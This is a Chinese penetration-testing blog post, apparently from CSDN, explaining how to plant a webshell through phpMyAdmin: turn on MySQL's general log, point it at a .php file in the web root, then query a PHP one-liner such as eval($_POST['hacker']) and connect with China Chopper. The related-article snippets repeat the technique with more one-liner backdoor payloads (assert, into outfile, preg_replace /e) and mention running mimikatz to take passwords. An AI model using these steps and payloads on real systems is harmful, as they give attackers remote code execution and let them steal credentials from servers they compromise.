phpmyadmin利用日志文件写入一句话

最新推荐文章于 2024-07-19 17:23:55 发布
最新推荐文章于 2024-07-19 17:23:55 发布
阅读量8.5k 收藏 8
点赞数 3
分类专栏： Web渗透测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_39997829/article/details/81068740
版权

前提：

root权限，已经进入了phpmyadmin后台

1、首先进入phpmyadmin后台，查看genelog变量，更改general log和general log file参数，初始设置general log是OFF，我们将其改成ON;general log file我们将其改成我们特定的目录文件，我这里写成D:\phpStudy\WWW\test1.php

 

 

 

2、然后我们执行sql查询语句：select "<?php eval($_POST['hacker']);?>",接着我们去查看一下日志文件test1.php

3、菜刀连接即可

 

 

安全大哥
关注
专栏目录
getshell之Phpmyadmin写日志
MoCoCN的博客
08-30 673
@MoCoCN Phpmyadmin写日志getshell 当初接触渗透测试的时候getshell就会个文件上传，后来随着工作学到的知识越来越多，慢慢的getshell的姿势也慢慢的学到了些，这次给大家分享一个很常见也很基础的getshell的方式。如有什么不严谨的地方，还望大佬指点。 1.准备环境 一台装有Phpstudy（mysql>5.0）的服务器 中国蚁剑 2.开启phpstudy 3．访问服务器phpmyadmin页面 4.弱口令root root登录进去，点击SQL，执行sql语句 查
第一章 phpmyadmin日志一句话写入
zhoess的博客
12-29 530
phpmyadmin 使用日志一句话写入getshell
php一句话木马连接客户端_【WEB安全】phpmyadmin通过日志写入一句话木马
weixin_39531582的博客
12-04 833
1.想通过into outfile写入一句话木马select '<?php assert($_POST["cmd"];?)>' into outfile 'D:/phpstudy/PHPTutorial/WWW/xx.php';需要知道绝对路径2.执行下来，报错 “MySQL服务器正在使用--secure-file-priv选项运行，因此它无法执行此语句”那么就要知道这个 secure...
phpadmin写shell的四种方式
最新发布
weixin_46365325的博客
07-19 1020
场景：当你拿下phpmyadmin后台之后，如何进行下一步操作。
通过写入日志phpmyadmin getshell
m0_60894143的博客
04-14 144
general log 指的是日志保存状态，一共有两个值（ON/OFF）ON代表开启 OFF代表关闭。select @@basedir可以看到mysql所在的绝对路径。由图可知general_log默认关闭，以及日志的存储路径。general log file 指的是日志的保存路径。这里可以通过phpinfo.php文件查看网站路径。之后就可以上传mimikatz获取密码。常规思路应该是运用工具进行爆破。php版本5.4.45。默认账号密码都是root。进入phpmyadmin。getshell成功。
利用phpmyadmin日志写入一句话木马
m0_68019293的博客
03-15 2752
首先登陆phpMyadmin后,点击sql模块 先用这一句命令查看它是否存在 secure_file_priv 这项功能,要null不一定等于no哦,如果没有就可以利用来写一个webshell 现在写入一句话木马文件,用into outfile函数 加网站下绝对路径,记住哦要把\ 改为/,因为网站的/ 和根目录下的\是不一样的 现在已经成功的写入了一句话木马的文件,这时候就可以用菜刀,蚁剑等工具链接它的文件绝对路径得到它的webshell,这是第一种方式 2 接下来这种呢就是利用日志..
phpmyadmin通过日志写入一句话木马
weixin_45983744的博客
12-26 4405
QQ交流群:876554035 1.想通过into outfile写入一句话木马 select ‘<?php assert($_POST[“cmd”];?)>’ into outfile ‘D:/phpstudy/PHPTutorial/WWW/xx.php’; 需要知道绝对路径 2.执行下来，报错 “MySQL服务器正在使用–secure-file-priv选项运行，因此它无法执行此...
（三）phpstudy下开启mysql，运用phpmyadmin管理执行sql语句，写入一句话后门getshell。
爱上卿的博客
01-15 3725
学习mysql数据库漏洞整理过程中，想复现phpmyadmin写入一句话后门getshell的过程遇到很多问题。phpmyadmin是很多网站用来管理数据库的一个系统，尤其是mysql数据库管理的较多。phpmyadmin实现mysql数据库的管理，采用phpstudy实现较为方便。过程出现较多障碍，一步步走向成功，记录。 1 启动phpstudy，出现mysql无法启动的问题 因为之前已经装...
mysql木马一句话_phpmyadmin写一句话木马拿webshell思路（骇客协会）
weixin_39790877的博客
02-07 455
先介绍MySQL导出一句话木马的语法(我个人比较喜欢说思路)Drop TABLE IF EXISTS temp; //如果存在temp就删掉Create TABLE temp(cmd text NOT NULL); //建立temp表，里面就一个cmd字段Insert INTO temp (cmd) VALUES(' php eval_r($_POST[cmd]);?>'); //把一句话木...
phpMyAdmin提权
Clannad的博客
01-10 1729
文章目录条件 条件 1、secure_file_priv的值不为NULL
phpmyadmin mysql提权_phpMyadmin提权那些事
weixin_34638282的博客
01-20 218
phpMyadmin提权那些事引言：在渗透测试过程中获知到phpMyadmin的账号密码，如何进行提权呢？往下看，我今天和你说说phpMyadmin提权那些事。0×00 定义​ phpMyAdmin 是一个以PHP为基础，以Web-Base方式架构在网站主机上的MySQL的数据库管理工具，让管理者可用Web接口管理MySQL数据库。0×01 环境准备目标： Windows Serve...
phpmyadmin 查看sql历史记录
whatday的专栏
12-20 4725
点击 SQL（查询）选项卡。在窗口底部考左有一个控制台 选项卡 如图： 默认情况下它不会被展开，点击它就会展开历史记录 鼠标移上去后 还有 各种选项 ...
第三方应用类---Phpmyadmin 后台 Getshell 操作
金灰的博客
04-21 522
以Web-Base方式架构在网站主机上的MySQL的数据库管理工具.PhpMyAdmin_百度百科。
phpmyadmin通过日志文件拿webshell
aiquan9342的博客
03-26 492
该方法非原创。只是给大家分享一下姿势。如果知道得就当复习了，不知道得就捣鼓捣鼓。 前提：条件是root用户。 思路：就是利用mysql的一个日志文件。这个日志文件每执行一个sql语句就会将其执行的保存。我们将这个日志文件重命名为我们的shell.php然后执行一条sql带一句话木马的命令。然后执行菜刀连接之！ 要先把general log设置为ON 然后将文件修改日志文件名修...
phpmyadmin 弱密码导致一句话木马上传
xyx107的博客
10-06 4639
1.打开phpmyadmin（一般防火墙不能打开） 弱密码登陆后修改变量（123.php是上传的木马文件名，上传多个木马时不要重名） 在SQL输入select "&lt;?php @_POST$eavl("pass")?&gt;"! 下面框内的；改为！ 执行 连接菜刀 双击打开 很危险，改密码去了.........
php mysql 注入一句话木马_phpmyadmin写一句话木马拿webshell思路（骇客协会）
weixin_35562134的博客
01-28 1329
先介绍MySQL导出一句话木马的语法(我个人比较喜欢说思路)Drop TABLE IF EXISTS temp; //如果存在temp就删掉Create TABLE temp(cmd text NOT NULL); //建立temp表，里面就一个cmd字段Insert INTO temp (cmd) VALUES(' php eval_r($_POST[cmd]);?>'); //把一句话木...
phpMyadmin利用日志提权--本地
atw63792的博客
03-08 353
1. nmap扫描局域网中开放的特定端口 nmap -sS -p 80 192.168.1.0/24 //半开放式扫描 192.168.1.0/24网段中开放80端口的 2. 进入phpmyadmin数据库后 在localhost下找到变量按钮 包含文字处输入general log 3. 设置general log 和 general log file general...
PHP一句话木马
weixin_30824277的博客
10-25 476
PHP一句话木马： 1. eval(): <?php @eval($_POST['hacker']); ?> eval函数将接受的字符串当做代码执行 2. assert(): 用法和 eval()一样 3. preg_replace(): <?php @preg_replace("/abcd/e",$_POST['hacker'],"abcdefg"...
phpMyAdmin配置文件详解及URL设置
这一项设置对于phpMyAdmin的正常使用非常重要，因此需要根据实际的网站环境进行正确的配置。 另外，配置文件中还包含了一些其他重要的指令，例如数据库连接的设置、界面语言的设置、默认字符集的设置等。这些指令都...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值